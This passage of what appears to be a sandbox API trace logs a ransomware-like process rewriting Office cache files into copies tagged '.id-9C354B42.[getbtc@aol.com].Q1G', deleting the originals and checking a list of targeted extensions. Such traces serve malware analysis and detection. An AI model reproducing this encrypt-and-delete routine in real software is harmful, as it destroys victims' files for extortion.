dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0035.861] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=1608) returned 1 [0035.861] CloseHandle (hObject=0x194) returned 1 [0035.862] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0035.862] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0035.862] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0035.862] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.862] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.862] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0035.862] GetLastError () returned 0x0 [0035.862] ReadFile (in: hFile=0x194, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x648, lpOverlapped=0x0) returned 1 [0036.070] WriteFile (in: hFile=0x198, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x650, lpOverlapped=0x0) returned 1 [0036.071] ReadFile (in: hFile=0x194, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0036.071] WriteFile (in: hFile=0x198, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0036.071] SetEndOfFile (hFile=0x198) returned 1 [0036.071] CloseHandle (hObject=0x198) returned 1 [0036.072] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.072] SetEndOfFile (hFile=0x194) returned 1 [0036.073] CloseHandle (hObject=0x194) returned 1 [0036.073] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0036.073] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0036.073] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.073] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.073] lstrlenW (lpString=".doc") returned 4 [0036.073] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.073] lstrlenW (lpString=".docx") returned 5 [0036.074] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0036.074] lstrlenW (lpString=".pdf") returned 4 [0036.074] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.074] lstrlenW (lpString=".xls") returned 4 [0036.074] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.074] lstrlenW (lpString=".xlsx") returned 5 [0036.074] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0036.074] lstrlenW (lpString=".ppt") returned 4 [0036.074] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.074] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.074] lstrlenW (lpString=".zip") returned 4 [0036.074] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.074] lstrlenW (lpString=".rar") returned 4 [0036.074] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.074] lstrlenW (lpString=".bz2") returned 4 [0036.074] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.074] lstrlenW (lpString=".7z") returned 3 [0036.074] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.074] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.074] lstrlenW (lpString=".dbf") returned 4 [0036.074] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.074] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.074] lstrlenW (lpString=".1cd") returned 4 [0036.074] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.074] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.074] lstrlenW (lpString=".jpg") returned 4 [0036.074] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.074] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.074] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.074] lstrlenW (lpString=".doc") returned 4 [0036.074] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.075] lstrlenW (lpString=".docx") returned 5 [0036.075] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0036.075] lstrlenW (lpString=".pdf") returned 4 [0036.075] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.075] lstrlenW (lpString=".xls") returned 4 [0036.075] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.075] lstrlenW (lpString=".xlsx") returned 5 [0036.075] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0036.075] lstrlenW (lpString=".ppt") returned 4 [0036.075] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.075] lstrlenW (lpString=".zip") returned 4 [0036.075] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.075] lstrlenW (lpString=".rar") returned 4 [0036.075] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.075] lstrlenW (lpString=".bz2") returned 4 [0036.075] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.075] lstrlenW (lpString=".7z") returned 3 [0036.075] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.075] lstrlenW (lpString=".dbf") returned 4 [0036.075] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.075] lstrlenW (lpString=".1cd") returned 4 [0036.075] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.075] lstrlenW (lpString=".jpg") returned 4 [0036.075] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.076] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0036.076] lstrlenW (lpString="Proof.xml") returned 9 [0036.076] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0036.185] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=1457) returned 1 [0036.185] CloseHandle (hObject=0x1b0) returned 1 [0036.185] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 0x2020 [0036.185] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0036.185] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0036.185] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.185] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.185] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0036.186] GetLastError () returned 0x0 [0036.186] ReadFile (in: hFile=0x1b0, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x5b1, lpOverlapped=0x0) returned 1 [0036.192] WriteFile (in: hFile=0x1c4, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0036.193] ReadFile (in: hFile=0x1b0, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0036.193] WriteFile (in: hFile=0x1c4, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0036.193] SetEndOfFile (hFile=0x1c4) returned 1 [0036.193] CloseHandle (hObject=0x1c4) returned 1 [0036.193] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.194] SetEndOfFile (hFile=0x1b0) returned 1 [0036.194] CloseHandle (hObject=0x1b0) returned 1 [0036.194] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0036.195] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 1 [0036.195] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0036.195] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0036.195] lstrlenW (lpString=".doc") returned 4 [0036.195] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.195] lstrlenW (lpString=".docx") returned 5 [0036.195] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0036.195] lstrlenW (lpString=".pdf") returned 4 [0036.195] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.195] lstrlenW (lpString=".xls") returned 4 [0036.195] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.195] lstrlenW (lpString=".xlsx") returned 5 [0036.195] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0036.195] lstrlenW (lpString=".ppt") returned 4 [0036.195] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.195] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0036.195] lstrlenW (lpString=".zip") returned 4 [0036.195] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.195] lstrlenW (lpString=".rar") returned 4 [0036.195] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.195] lstrlenW (lpString=".bz2") returned 4 [0036.195] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.196] lstrlenW (lpString=".7z") returned 3 [0036.196] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.196] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0036.196] lstrlenW (lpString=".dbf") returned 4 [0036.196] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.196] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0036.196] lstrlenW (lpString=".1cd") returned 4 [0036.196] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.196] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0036.196] lstrlenW (lpString=".jpg") returned 4 [0036.196] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.196] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0036.196] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0036.196] lstrlenW (lpString=".doc") returned 4 [0036.196] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.196] lstrlenW (lpString=".docx") returned 5 [0036.196] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0036.196] lstrlenW (lpString=".pdf") returned 4 [0036.196] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.196] lstrlenW (lpString=".xls") returned 4 [0036.196] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.196] lstrlenW (lpString=".xlsx") returned 5 [0036.196] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0036.196] lstrlenW (lpString=".ppt") returned 4 [0036.196] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.196] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0036.196] lstrlenW (lpString=".zip") returned 4 [0036.196] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.196] lstrlenW (lpString=".rar") returned 4 [0036.196] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.196] lstrlenW (lpString=".bz2") returned 4 [0036.197] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.197] lstrlenW (lpString=".7z") returned 3 [0036.197] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.197] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0036.197] lstrlenW (lpString=".dbf") returned 4 [0036.197] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.197] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0036.197] lstrlenW (lpString=".1cd") returned 4 [0036.197] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.197] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0036.197] lstrlenW (lpString=".jpg") returned 4 [0036.197] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.197] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0036.197] lstrlenW (lpString="Office32MUI.xml") returned 15 [0036.197] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0036.198] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=1383) returned 1 [0036.198] CloseHandle (hObject=0x1b0) returned 1 [0036.198] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml")) returned 0x2020 [0036.198] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0036.198] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0036.198] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.198] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.198] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0036.199] GetLastError () returned 0x0 [0036.199] ReadFile (in: hFile=0x1b0, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x567, lpOverlapped=0x0) returned 1 [0036.202] WriteFile (in: hFile=0x1c4, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x570, lpOverlapped=0x0) returned 1 [0036.203] ReadFile (in: hFile=0x1b0, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0036.203] WriteFile (in: hFile=0x1c4, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0036.203] SetEndOfFile (hFile=0x1c4) returned 1 [0036.203] CloseHandle (hObject=0x1c4) returned 1 [0036.204] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.204] SetEndOfFile (hFile=0x1b0) returned 1 [0036.205] CloseHandle (hObject=0x1b0) returned 1 [0036.205] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0036.205] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml")) returned 1 [0036.205] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0036.205] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0036.205] lstrlenW (lpString=".doc") returned 4 [0036.205] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.205] lstrlenW (lpString=".docx") returned 5 [0036.205] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0036.205] lstrlenW (lpString=".pdf") returned 4 [0036.205] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.205] lstrlenW (lpString=".xls") returned 4 [0036.205] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.205] lstrlenW (lpString=".xlsx") returned 5 [0036.206] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0036.206] lstrlenW (lpString=".ppt") returned 4 [0036.206] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.206] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0036.206] lstrlenW (lpString=".zip") returned 4 [0036.206] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.206] lstrlenW (lpString=".rar") returned 4 [0036.206] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.206] lstrlenW (lpString=".bz2") returned 4 [0036.206] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.206] lstrlenW (lpString=".7z") returned 3 [0036.206] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.206] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0036.206] lstrlenW (lpString=".dbf") returned 4 [0036.206] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.206] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0036.206] lstrlenW (lpString=".1cd") returned 4 [0036.206] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.206] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0036.206] lstrlenW (lpString=".jpg") returned 4 [0036.206] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.206] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0036.206] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0036.206] lstrlenW (lpString=".doc") returned 4 [0036.206] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.206] lstrlenW (lpString=".docx") returned 5 [0036.207] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0036.207] lstrlenW (lpString=".pdf") returned 4 [0036.207] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.207] lstrlenW (lpString=".xls") returned 4 [0036.207] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.207] lstrlenW (lpString=".xlsx") returned 5 [0036.207] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0036.207] lstrlenW (lpString=".ppt") returned 4 [0036.207] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.207] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0036.207] lstrlenW (lpString=".zip") returned 4 [0036.207] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.207] lstrlenW (lpString=".rar") returned 4 [0036.207] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.207] lstrlenW (lpString=".bz2") returned 4 [0036.207] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.207] lstrlenW (lpString=".7z") returned 3 [0036.207] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.207] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0036.207] lstrlenW (lpString=".dbf") returned 4 [0036.207] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.207] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0036.207] lstrlenW (lpString=".1cd") returned 4 [0036.207] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.207] lstrlenW (lpString="C:\\MSOCache\\All 